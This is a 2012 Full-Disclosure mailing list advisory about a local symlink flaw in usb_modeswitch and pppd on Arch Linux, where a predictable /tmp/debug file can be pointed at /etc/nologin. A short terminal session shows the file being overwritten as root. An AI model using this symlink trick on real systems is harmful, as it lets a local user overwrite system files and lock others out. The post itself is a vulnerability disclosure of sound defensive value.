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[Full-disclosure] usb_modeswitch/pppd -detach
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] usb_modeswitch/pppd -detach
- From: srm <srm@xxxxxxxxxxxx>
- Date: Thu, 19 Jan 2012 01:07:02 +0100
morrn,
Impact
======
Low
Summary
=======
When using usb_modeswitch and invoking pppd from wvdial in -detach mode. a
/tmp/debug
file is created. Local Attacker could overwrite arbitrary files.
Example
=======
,file /tmp/debug
debug: broken symbolic link to `/etc/nologin'
Insert stick and connect:
,su
Password:
,sh connect >/dev/null
,file debug
debug: symbolic link to `/etc/nologin'
,cd /etc && cat nologin
symlink-name: /devices/pci0000:00/0000:00:1a.7/usb1/1-3/1-3:1.0/ttyUSB0/tty
,ls -l nologin
-rw-r--r-- 1 root root 84 Jan 19 01:11 nologin
Software
========
archlinux: community/usb_modeswitch 1.2.1-1c
archlinux: core/ppp 2.4.5-3 (base)
Please verify. YMMV.
Greetings
srm
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